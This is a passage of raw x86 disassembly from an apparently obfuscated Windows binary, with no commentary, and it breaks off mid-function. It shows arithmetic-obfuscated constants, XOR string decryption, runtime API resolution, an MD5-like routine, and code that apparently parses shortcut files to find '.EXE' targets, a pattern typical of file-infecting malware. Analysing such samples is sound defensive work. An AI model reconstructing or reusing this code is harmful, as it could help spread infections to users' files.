movsx edx, word_55120C add eax, edx sub eax, 3 movsx edx, word_551094 sub edx, 3 mov [edi+eax], dl movsx eax, word_55111C movsx edx, word_5510E4 lea eax, [eax+edx+1] mov edx, dword_5510C0 add edx, dword_5510B4 sub edx, 5 mov [edi+eax], dl push offset dword_550160 call ds:dword_4CDA40 loc_43AD83: ; CODE XREF: sub_43AC94+5Ej lea eax, [edi+3] pop edi pop esi pop ebx leave retn sub_43AC94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AD8B proc near ; CODE XREF: sub_43E491+3A8p ; sub_441AE5+184p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax mov eax, dword_55122C movsx edx, word_5510A0 add eax, edx sub eax, 8 push eax movsx eax, word_5511C8 add eax, dword_55110C sub eax, 10h push eax push [ebp+arg_0] mov eax, dword_55125C add eax, dword_551118 sub eax, 0Eh push eax mov eax, dword_5510F4 add eax, dword_5510B8 sub eax, 0Ah push eax call ds:dword_550020 push eax call ds:dword_4CDA48 leave retn sub_43AD8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ADE6 proc near ; CODE XREF: sub_442BEC:loc_442BEFp var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push esi push edi lea eax, [ebp+var_114] push eax mov eax, dword_5511E8 add eax, dword_5511F8 sub eax, 0Eh push eax mov eax, dword_55114C sub eax, 6 push eax push 20h mov eax, dword_55109C add eax, dword_5510C4 sub eax, 10h push eax call ds:dword_48BA00 lea eax, [ebp+var_10] push eax call ds:dword_4CC530 movzx eax, [ebp+var_E] mov edx, dword_551134 add edx, 0A8B7h add edx, dword_5510E0 imul eax, edx movzx edx, [ebp+var_8] mov ecx, dword_55121C add ecx, 3Ch imul edx, ecx add eax, edx movzx edx, [ebp+var_10] mov ecx, dword_551184 add ecx, 7E8F5h add ecx, dword_551138 imul edx, ecx add eax, edx movzx edx, [ebp+var_A] mov ecx, dword_5510A4 add ecx, 596h add ecx, dword_551174 imul edx, ecx add eax, edx movzx edx, [ebp+var_6] add eax, edx mov ds:dword_448030, eax mov eax, dword_5511D4 add eax, dword_5510F8 sub eax, 0Ch mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_446E8A add esp, 144h pop edi pop esi leave retn sub_43ADE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AEDD proc near ; CODE XREF: sub_43E04C+45p ; sub_4423A6+274p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_551278, 0 jnz short loc_43AF05 push offset dword_550160 call ds:dword_449FCC mov dword_551278, 1 loc_43AF05: ; CODE XREF: sub_43AEDD+11j mov esi, dword_55122C add esi, 5 movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+2] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx movsx edx, word_551240 movsx ecx, word_5510D8 add edx, ecx sub edx, 8 imul ebx, edx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_5511FC inc edx add edx, dword_55117C cmp eax, edx jz loc_43AFE5 push offset dword_550160 call ds:dword_54EA5C mov eax, dword_551204 add eax, 3 movsx edx, word_5510E4 add eax, edx mov [ebp+var_2], ax jmp short loc_43AF99 ; --------------------------------------------------------------------------- loc_43AF77: ; CODE XREF: sub_43AEDD+C6j movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+4] xor edx, ecx mov [eax], dl movzx eax, [ebp+var_2] mov edx, dword_551178 dec edx add eax, edx mov [ebp+var_2], ax loc_43AF99: ; CODE XREF: sub_43AEDD+98j movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43AF77 mov eax, dword_55109C movsx edx, word_551168 add eax, edx sub eax, 0Bh mov edx, dword_551200 sub edx, 3 mov [edi+eax], dl mov eax, dword_5510FC movsx edx, word_551268 add edx, dword_5510E8 sub edx, 0Ah mov [edi+eax], dl push offset dword_550160 call ds:dword_4CDA40 loc_43AFE5: ; CODE XREF: sub_43AEDD+72j lea eax, [edi+6] pop edi pop esi pop ebx leave retn sub_43AEDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AFED proc near ; DATA XREF: .data:005512C4o push ebp mov ebp, esp push offset dword_54FC14 call ds:dword_48B9F8 mov eax, ds:dword_54FC14 pop ebp retn 4 sub_43AFED endp ; =============== S U B R O U T I N E ======================================= sub_43B004 proc near ; CODE XREF: sub_43B841p sub_446E57p push edi push offset word_552986 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551280, eax mov eax, dword_5510F4 sub eax, 2 cmp dword_551280, eax jnz short loc_43B043 push offset dword_552978 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551280, eax loc_43B043: ; CODE XREF: sub_43B004+26j pop edi retn sub_43B004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B045 proc near ; CODE XREF: sub_44718F+89p var_11C = dword ptr -11Ch var_DC = dword ptr -0DCh var_9C = dword ptr -9Ch var_5C = dword ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_4], ecx mov edx, [eax+0Ch] mov [ebp+var_10], edx mov eax, [eax+8] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_C], eax lea edi, [ebp+var_11C] lea esi, dword_551324 mov ecx, 10h rep movsd lea edi, [ebp+var_5C] lea esi, dword_551364 mov ecx, 10h rep movsd lea edi, [ebp+var_9C] lea esi, dword_5513A4 mov ecx, 10h rep movsd lea edi, [ebp+var_DC] lea esi, dword_5513E4 mov ecx, 10h rep movsd movsx ebx, word_5510EC jmp loc_43B1E6 ; --------------------------------------------------------------------------- loc_43B0C3: ; CODE XREF: sub_43B045+1B1j mov edi, ebx shl edi, 2 push [ebp+edi+var_11C] mov edi, dword_5511E4 movsx esi, word_551234 add edi, esi sub edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] call sub_43E913 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_55114C add eax, dword_5510A8 sub eax, 0Ah cmp eax, ebx jz short loc_43B14E mov edi, ebx inc edi push [ebp+edi*4+var_11C] mov edi, dword_5511D0 add edi, 9 push edi movsx edi, word_55111C inc edi mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] call sub_43E913 add esp, 1Ch mov [ebp+var_10], eax loc_43B14E: ; CODE XREF: sub_43B045+CAj mov edi, dword_551160 mov esi, edi add esi, edi mov edi, esi sub edi, 8 mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] mov edi, dword_5511FC add edi, 11h push edi mov edi, dword_5511B0 sub edi, 5 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] call sub_43E913 mov [ebp+var_8], eax mov edi, dword_55122C add edi, dword_551138 dec edi mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] movsx edi, word_551234 add edi, 12h push edi mov edi, ebx add edi, 3 mov esi, [ebp+arg_4] push dword ptr [esi+edi*4] push [ebp+var_C] push [ebp+var_10] push eax push [ebp+var_4] call sub_43E913 add esp, 38h mov [ebp+var_4], eax mov eax, dword_551154 sub eax, 3 add ebx, eax loc_43B1E6: ; CODE XREF: sub_43B045+79j mov eax, dword_55124C add eax, dword_55113C sub eax, 2 cmp ebx, eax jbe loc_43B0C3 mov eax, dword_551098 mov ebx, eax add ebx, dword_5510FC sub ebx, 3 movsx eax, word_551268 add eax, dword_551248 sub eax, 7 mov [ebp+var_14], eax jmp loc_43B3AE ; --------------------------------------------------------------------------- loc_43B224: ; CODE XREF: sub_43B045+376j mov edi, [ebp+var_14] push [ebp+edi*4+var_5C] mov edi, dword_55109C sub edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] call sub_43FC83 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_5510D4 movsx edx, word_5510EC add eax, edx sub eax, 2 add ebx, eax mov eax, dword_551160 add eax, 0Ah movsx edx, word_551240 add eax, edx cmp ebx, eax jb short loc_43B286 movsx eax, word_551260 add eax, 7 sub ebx, eax loc_43B286: ; CODE XREF: sub_43B045+233j mov edi, [ebp+var_14] inc edi push [ebp+edi*4+var_5C] movsx edi, word_551260 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] call sub_43FC83 add esp, 1Ch mov [ebp+var_10], eax movsx eax, word_5511A8 add eax, 5 add ebx, eax mov eax, dword_5511B8 add eax, 9 cmp ebx, eax jb short loc_43B2DF movsx eax, word_55112C movsx edx, word_551228 lea eax, [eax+edx+5] sub ebx, eax loc_43B2DF: ; CODE XREF: sub_43B045+284j mov edi, [ebp+var_14] add edi, 2 push [ebp+edi*4+var_5C] mov edi, dword_551258 add edi, 0Dh push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] call sub_43FC83 add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_551190 dec eax add ebx, eax mov eax, dword_551200 add eax, 0Dh cmp ebx, eax jb short loc_43B330 movsx eax, word_551220 add eax, 0Fh sub ebx, eax loc_43B330: ; CODE XREF: sub_43B045+2DDj mov edi, [ebp+var_14] mov esi, dword_551148 sub esi, 4 add edi, esi push [ebp+edi*4+var_5C] mov edi, dword_551238 add edi, 9 add edi, dword_551250 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call sub_43FC83 add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_551250 movsx edx, word_551194 add eax, edx sub eax, 4 add ebx, eax mov eax, dword_551208 add eax, 0Eh movsx edx, word_5510E4 add eax, edx cmp ebx, eax jb short loc_43B3A1 mov eax, dword_55119C add eax, 9 sub ebx, eax loc_43B3A1: ; CODE XREF: sub_43B045+350j movsx eax, word_551170 add eax, 3 add [ebp+var_14], eax loc_43B3AE: ; CODE XREF: sub_43B045+1DAj movsx eax, word_551268 add eax, 9 cmp [ebp+var_14], eax jbe loc_43B224 mov eax, dword_55124C mov ebx, eax add ebx, dword_55121C mov eax, dword_551178 add eax, dword_551130 sub eax, 6 mov [ebp+var_18], eax jmp loc_43B59A ; --------------------------------------------------------------------------- loc_43B3E4: ; CODE XREF: sub_43B045+562j mov edi, [ebp+var_18] push [ebp+edi*4+var_9C] mov edi, dword_551158 add edi, 3 movsx esi, word_5510E4 add edi, esi push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] call sub_440450 add esp, 1Ch mov [ebp+var_C], eax movsx eax, word_551260 add eax, dword_55124C sub eax, 0Bh add ebx, eax mov eax, dword_551230 add eax, 6 add eax, dword_551160 cmp ebx, eax jb short loc_43B44C mov eax, dword_55117C add eax, 0Bh sub ebx, eax loc_43B44C: ; CODE XREF: sub_43B045+3FBj mov edi, [ebp+var_18] mov esi, dword_5511C0 inc esi add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_55113C add edi, dword_5510C4 sub edi, 7 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] call sub_440450 add esp, 1Ch mov [ebp+var_10], eax movsx eax, word_551260 add eax, dword_5511D4 sub eax, 0Fh add ebx, eax mov eax, dword_5510FC add eax, 5 add eax, dword_551124 cmp ebx, eax jb short loc_43B4BC movsx eax, word_551120 add eax, 0Dh sub ebx, eax loc_43B4BC: ; CODE XREF: sub_43B045+469j mov edi, [ebp+var_18] mov esi, dword_551090 inc esi add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_5510D4 add edi, 5 add edi, dword_5510B4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] call sub_440450 add esp, 1Ch mov [ebp+var_8], eax movsx eax, word_5511BC add eax, dword_551250 sub eax, 4 add ebx, eax movsx eax, word_551120 add eax, 0Dh cmp ebx, eax jb short loc_43B52A mov eax, dword_55119C inc eax add eax, dword_5510B8 sub ebx, eax loc_43B52A: ; CODE XREF: sub_43B045+4D5j mov edi, [ebp+var_18] add edi, 3 push [ebp+edi*4+var_9C] mov edi, dword_5510F8 add edi, 0Eh add edi, dword_551230 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call sub_440450 add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_5511A4 sub eax, 3 add ebx, eax mov eax, dword_551208 add eax, 7 movsx edx, word_5510A0 add eax, edx cmp ebx, eax jb short loc_43B58F movsx eax, word_551224 add eax, 0Eh sub ebx, eax loc_43B58F: ; CODE XREF: sub_43B045+53Cj mov eax, dword_55119C sub eax, 3 add [ebp+var_18], eax loc_43B59A: ; CODE XREF: sub_43B045+39Aj movsx eax, word_551240 add eax, 0Bh cmp [ebp+var_18], eax jbe loc_43B3E4 mov eax, dword_551114 mov ebx, eax add ebx, dword_55126C sub ebx, 0Ah mov eax, dword_55114C sub eax, 6 mov [ebp+var_1C], eax jmp loc_43B774 ; --------------------------------------------------------------------------- loc_43B5CD: ; CODE XREF: sub_43B045+73Aj mov edi, [ebp+var_1C] push [ebp+edi*4+var_DC] movsx edi, word_551274 add edi, 5 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] call sub_440417 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_551154 add eax, dword_551230 sub eax, 5 add ebx, eax movsx eax, word_551228 mov edx, dword_551160 lea eax, [eax+edx+5] cmp ebx, eax jb short loc_43B631 mov eax, dword_551148 add eax, dword_5511E0 sub ebx, eax loc_43B631: ; CODE XREF: sub_43B045+5DDj mov edi, [ebp+var_1C] inc edi push [ebp+edi*4+var_DC] mov edi, dword_551098 add edi, 8 movsx esi, word_55111C add edi, esi push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] call sub_440417 add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_551238 sub eax, 2 add ebx, eax mov eax, dword_551264 add eax, 8 movsx edx, word_551140 add eax, edx cmp ebx, eax jb short loc_43B695 mov eax, dword_55121C add eax, 10h sub ebx, eax loc_43B695: ; CODE XREF: sub_43B045+644j mov edi, [ebp+var_1C] movsx esi, word_551240 add esi, dword_551108 dec esi add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_551130 add edi, 7 add edi, dword_551270 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] call sub_440417 add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_55110C sub eax, 2 add ebx, eax mov eax, dword_551154 add eax, 9 cmp ebx, eax jb short loc_43B6FC mov eax, dword_5511F4 add eax, 0Bh sub ebx, eax loc_43B6FC: ; CODE XREF: sub_43B045+6ABj mov edi, [ebp+var_1C] movsx esi, word_551234 add esi, dword_551258 sub esi, 2 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_5511DC add edi, 0Ch push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call sub_440417 add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_551164 add eax, 7 add eax, dword_551100 add ebx, eax movsx eax, word_551094 add eax, 0Dh cmp ebx, eax jb short loc_43B769 movsx eax, word_55111C add eax, 10h sub ebx, eax loc_43B769: ; CODE XREF: sub_43B045+716j mov eax, dword_5511F0 sub eax, 5 add [ebp+var_1C], eax loc_43B774: ; CODE XREF: sub_43B045+583j mov eax, dword_55116C add eax, 3 cmp [ebp+var_1C], eax jbe loc_43B5CD mov edi, [ebp+arg_0] movsx esi, word_551224 add esi, dword_5511E0 mov ebx, [edi] add ebx, [ebp+var_C] mov [edi+esi*4-2Ch], ebx movsx esi, word_55115C mov ebx, [ebp+var_4] add ebx, [edi+4] mov [edi+esi*4-8], ebx mov esi, dword_5511E8 mov ebx, [ebp+var_10] add ebx, [edi+0Ch] mov [edi+esi*4-10h], ebx mov esi, dword_551148 mov ebx, [ebp+var_8] add ebx, [edi+8] mov [edi+esi*4-14h], ebx pop edi pop esi pop ebx leave retn sub_43B045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B7D4 proc near ; DATA XREF: .data:off_5512E0o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] push offset dword_552A24 push edi call ds:dword_50EA3C or eax, eax jnz short loc_43B810 push offset byte_550140 push edi call ds:dword_50EA3C or eax, eax jnz short loc_43B810 push offset dword_5529F4 push edi call ds:dword_50EA3C or eax, eax jz short loc_43B820 loc_43B810: ; CODE XREF: sub_43B7D4+1Aj ; sub_43B7D4+2Aj mov eax, [ebp+arg_0] mov [esi], eax push dword ptr [esi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43B83A ; --------------------------------------------------------------------------- loc_43B820: ; CODE XREF: sub_43B7D4+3Aj movsx eax, word_5510AC movsx edx, word_5511A8 add eax, edx sub eax, 7 mov [esi], eax mov eax, 80004002h loc_43B83A: ; CODE XREF: sub_43B7D4+4Aj pop edi pop esi pop ebx pop ebp retn 0Ch sub_43B7D4 endp ; =============== S U B R O U T I N E ======================================= sub_43B841 proc near ; CODE XREF: sub_43E491+1Bp call sub_43B004 push offset dword_552970 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_550150, eax push offset asc_552965 ; "\a" call sub_43AC94 push eax call sub_43F4AF mov ds:dword_44803C, eax push offset byte_552959 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_4CC31C, eax push offset byte_55294F call sub_43AC94 push eax call sub_43F4AF mov ds:dword_44B1A4, eax push offset byte_552947 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_48B9F0, eax push offset word_55293E call sub_43AC94 push eax call sub_43F4AF mov ds:dword_4CE9F4, eax push offset dword_552934 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_4CD914, eax push offset dword_55292C call sub_43AC94 push eax call sub_43F4AF mov ds:dword_44901C, eax push offset word_552922 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_48B9E0, eax push offset dword_552918 call sub_43AC94 push eax call sub_43F4AF mov ds:dword_44802C, eax push offset word_55290E call sub_43AC94 push eax call sub_43F4AF mov ds:dword_4CDA34, eax push offset dword_552904 call sub_43AC94 push eax call sub_43F4AF add esp, 60h mov ds:dword_50EA40, eax retn sub_43B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B946 proc near ; CODE XREF: sub_44757D+19Cp var_12110 = byte ptr -12110h var_1210C = word ptr -1210Ch var_1210A = word ptr -1210Ah var_12108 = dword ptr -12108h var_12104 = byte ptr -12104h var_12000 = word ptr -12000h var_11FFE = byte ptr -11FFEh var_2000 = byte ptr -2000h var_1FFF = byte ptr -1FFFh var_1FB3 = byte ptr -1FB3h var_1FB2 = byte ptr -1FB2h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 12110h call sub_44797C push ebx push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12104] push eax call sub_44799C lea ecx, [ebp+var_12104] or eax, 0FFFFFFFFh loc_43B96E: ; CODE XREF: sub_43B946+2Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43B96E movsx ebx, word_551104 movsx edx, word_551144 add ebx, edx sub ebx, 5 mov esi, eax sub esi, ebx mov ebx, dword_551184 sub ebx, 8 mov [ebp+esi+var_12104], bl movsx eax, word_551120 mov edx, eax add edx, dword_5510A4 sub edx, 0Ch push edx movsx edx, word_551234 add eax, edx sub eax, 7 push eax push 3 movsx eax, word_5511C4 sub eax, 7 push eax movsx eax, word_5511AC add eax, dword_5511B0 sub eax, 0Dh push eax push 80000001h lea eax, [ebp+var_12104] push eax call ds:dword_54FC18 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_43BC2E movsx eax, word_5510E4 add eax, dword_5511D0 sub eax, 3 push eax lea eax, [ebp+var_12110] push eax push 1FFFh lea eax, [ebp+var_1FFF] push eax push edi call ds:dword_448034 mov [ebp+var_12108], eax push edi call ds:dword_4CDA48 mov eax, dword_551148 sub eax, 7 cmp [ebp+var_12108], eax jz loc_43BC2E movsx eax, word_551274 cmp [ebp+eax+var_2000], 4Ch jnz loc_43BC2E movzx esi, [ebp+var_1FB3] movzx ebx, [ebp+var_1FB2] movzx ebx, bx shl ebx, 8 or esi, ebx mov [ebp+var_1210A], si movsx eax, word_551170 movzx edx, [ebp+var_1210A] lea eax, [eax+edx+4Dh] mov [ebp+var_12000], ax movzx eax, [ebp+var_12000] movsx eax, [ebp+eax+var_1FFF] movsx edx, word_5510E4 add edx, dword_55119C sub edx, 7 cmp eax, edx jz loc_43BC2E mov eax, dword_551118 add eax, dword_5510E0 sub eax, 9 movzx edx, [ebp+var_12000] mov ecx, dword_551124 add ecx, dword_551098 sub ecx, 3 add edx, ecx movsx edx, [ebp+edx+var_1FFF] cmp eax, edx jnz loc_43BC2E movzx eax, [ebp+var_12000] mov edx, dword_551218 add edx, 0Fh mov ecx, eax add ecx, edx movzx edx, [ebp+ecx+var_1FFF] mov esi, dword_5511D0 add esi, 0Dh movsx ebx, word_551274 add esi, ebx mov ebx, eax add ebx, esi movzx esi, [ebp+ebx+var_1FFF] movzx esi, si shl esi, 8 mov ebx, edx or ebx, esi mov esi, ebx movzx esi, si mov ebx, eax add ebx, esi mov esi, ebx mov [ebp+var_1210C], si movzx eax, [ebp+var_1210C] lea eax, [ebp+eax+var_1FFF] push eax lea eax, [ebp+var_11FFE] push eax call sub_44799C lea ecx, [ebp+var_11FFE] or eax, 0FFFFFFFFh loc_43BB65: ; CODE XREF: sub_43B946+224j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43BB65 mov edi, eax movsx eax, word_5510CC sub eax, 1 mov edx, edi sub edx, eax cmp [ebp+edx+var_11FFE], 2Eh jnz short loc_43BBF6 mov eax, dword_551138 movsx edx, word_551228 add eax, edx sub eax, 7 mov edx, edi sub edx, eax movsx eax, [ebp+edx+var_11FFE] push eax call ds:dword_44803C add esp, 4 cmp eax, 58h jnz short loc_43BBF6 movsx esi, word_551224 sub esi, 1 mov ebx, edi sub ebx, esi movsx esi, [ebp+ebx+var_11FFE] push esi call ds:dword_44803C add esp, 4 cmp eax, 45h jnz short loc_43BBF6 mov esi, edi sub esi, dword_551200 movsx esi, [ebp+esi+var_11FFE] push esi call ds:dword_44803C add esp, 4 cmp eax, 45h jz short loc_43BBF8 loc_43BBF6: ; CODE XREF: sub_43B946+23Ej ; sub_43B946+26Aj ... jmp short loc_43BC2E ; --------------------------------------------------------------------------- loc_43BBF8: ; CODE XREF: sub_43B946+2AEj push offset byte_5528FF call sub_43AC94 push eax lea edi, [ebp+var_11FFE] push edi call ds:dword_44802C mov eax, dword_551100 add eax, dword_551148 sub eax, 7 push eax lea eax, [ebp+var_11FFE] push eax call sub_43C506 add esp, 14h loc_43BC2E: ; CODE XREF: sub_43B946+ABj ; sub_43B946+F7j ... pop edi pop esi pop ebx leave retn sub_43B946 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BC33 proc near ; DATA XREF: sub_43E491+276o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi mov eax, [ebp+arg_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_44B5C8 pop edi pop ebp retn 10h sub_43BC33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BC51 proc near ; CODE XREF: sub_43BCA0+9p ; sub_43F031+Cp ... var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h movsx eax, word_551170 dec eax cmp eax, dword_5512AC jz short loc_43BC6F xor eax, eax inc eax jmp short locret_43BC9E ; --------------------------------------------------------------------------- loc_43BC6F: ; CODE XREF: sub_43BC51+17j mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_550028 cmp [ebp+var_84], 2 jnz short loc_43BC99 mov dword_5512AC, 1 loc_43BC99: ; CODE XREF: sub_43BC51+3Cj mov eax, dword_5512AC locret_43BC9E: ; CODE XREF: sub_43BC51+1Cj leave retn sub_43BC51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BCA0 proc near ; CODE XREF: sub_440485+BFp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push edi mov edi, [ebp+arg_0] call sub_43BC51 or eax, eax jz short loc_43BCD6 push dword_5512B0 push 1 push edi call ds:dword_54EA68 mov [ebp+var_4], eax push dword_5512B0 push 4 push edi call ds:dword_54EA68 mov [ebp+var_8], eax loc_43BCD6: ; CODE XREF: sub_43BCA0+10j pop edi leave retn sub_43BCA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BCD9 proc near ; CODE XREF: sub_441AE5+1D0p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_4CC330 call ds:dword_54FC18 mov edi, eax movsx eax, word_5511C8 movsx edx, word_5510EC lea eax, [eax+edx-8] cmp edi, eax jnz short loc_43BD31 mov eax, dword_551258 add eax, dword_5510F4 sub eax, 3 mov edx, dword_551270 sub edx, 5 mov [esi+eax], dl jmp short loc_43BDA5 ; --------------------------------------------------------------------------- loc_43BD31: ; CODE XREF: sub_43BCD9+3Aj push 0 mov eax, dword_55121C add eax, dword_5510D0 sub eax, 4 push eax push [ebp+arg_4] push edi call ds:dword_550030 movsx eax, word_5510CC movsx edx, word_5510A0 add eax, edx sub eax, 0Ch push eax lea eax, [ebp+var_4] push eax movsx eax, word_55123C add eax, 11h push eax push esi push edi call ds:dword_448034 mov ebx, eax push edi call ds:dword_4CDA48 movsx eax, word_551188 add eax, dword_5511FC sub eax, 5 cmp ebx, eax jnz short loc_43BDA5 mov eax, dword_5511A0 mov edx, dword_5510FC sub edx, 2 mov [esi+eax], dl loc_43BDA5: ; CODE XREF: sub_43BCD9+56j ; sub_43BCD9+B9j pop edi pop esi pop ebx leave retn sub_43BCD9 endp ; =============== S U B R O U T I N E ======================================= sub_43BDAA proc near ; CODE XREF: sub_43C10A+27Ap arg_0 = dword ptr 4 push esi push edi mov esi, [esp+8+arg_0] mov edi, esi mov eax, dword_551178 add eax, 4 movsx edx, word_5511A8 add eax, edx cmp edi, eax jge short loc_43BE01 mov eax, dword_551218 add eax, dword_5510A4 sub eax, 5 imul edi, eax movsx eax, word_551094 movsx edx, word_55120C lea eax, [eax+edx+1] mov edx, dword_55126C sub edx, 7 mov ecx, esi add ecx, edx imul eax, ecx sub edi, eax jmp loc_43BF44 ; --------------------------------------------------------------------------- loc_43BE01: ; CODE XREF: sub_43BDAA+1Bj dec edi mov eax, dword_5510D4 add eax, 4 add eax, dword_5511D4 cmp edi, eax jge short loc_43BE41 mov eax, dword_5510BC add eax, 2 add eax, dword_5510C8 imul eax, edi mov edi, eax sub eax, esi mov edx, dword_55117C add edx, 7 add edx, dword_551158 mov edi, eax sub edi, edx jmp loc_43BF44 ; --------------------------------------------------------------------------- loc_43BE41: ; CODE XREF: sub_43BDAA+68j dec edi movsx eax, word_551274 add eax, 21h cmp edi, eax jge short loc_43BE6A mov eax, dword_5510D0 dec eax imul eax, edi mov edi, eax mov eax, dword_5511C0 add eax, 42h sub edi, eax jmp loc_43BF44 ; --------------------------------------------------------------------------- loc_43BE6A: ; CODE XREF: sub_43BDAA+A4j dec edi movsx eax, word_551260 add eax, 1Bh cmp edi, eax jge short loc_43BE9F mov eax, dword_5511A0 add eax, dword_551124 sub eax, 7 imul edi, eax mov eax, dword_55117C add eax, 3Ah add eax, dword_551244 sub edi, eax jmp loc_43BF44 ; --------------------------------------------------------------------------- loc_43BE9F: ; CODE XREF: 